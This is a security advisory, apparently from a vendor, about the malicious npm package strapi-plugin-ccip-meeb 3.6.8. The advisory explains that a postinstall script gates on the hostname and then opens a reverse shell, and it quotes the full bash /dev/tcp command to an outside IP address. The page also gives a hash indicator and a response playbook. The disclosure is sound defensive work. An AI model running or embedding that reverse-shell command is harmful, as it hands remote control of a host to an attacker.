Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

strapi-plugin-ccip-meebnpm

strapi-plugin-ccip-meeb is a confirmed malicious npm package (MAL-2026-16226) that opens a backdoor for remote access (malicious version 3.6.8). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in strapi-plugin-ccip-meeb (npm)

MAL-2026-16226
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall strapi-plugin-ccip-meeb

What this malware does

[email protected] declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value ('ubuntu-fc-uvm'); when the hostname matches, it executes bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1", opening an interactive reverse shell from the installer's host to 14.225.210.85:80. The hostname gate causes the payload to remain dormant on unrelated hosts and fire only in the attacker's expected target environment, a targeting/sandbox-evasion pattern. The package name mimics a legitimate Strapi plugin scope but the shipped code has no plugin functionality consistent with that name; the postinstall reverse shell is the substantive behavior.

Malicious versions

1 flagged
3.6.8

Indicators of compromise (SHA-256)

fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620

Detection & response playbook

Backdoor / remote access
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for strapi-plugin-ccip-meeb (version 3.6.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging strapi-plugin-ccip-meeb across your stack and pipelines.

  2. If you installed it — respond

    strapi-plugin-ccip-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If strapi-plugin-ccip-meeb was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks strapi-plugin-ccip-meeb before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. strapi-plugin-ccip-meeb on npm has been identified as a malicious package (version 3.6.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020098

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks strapi-plugin-ccip-meeb-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore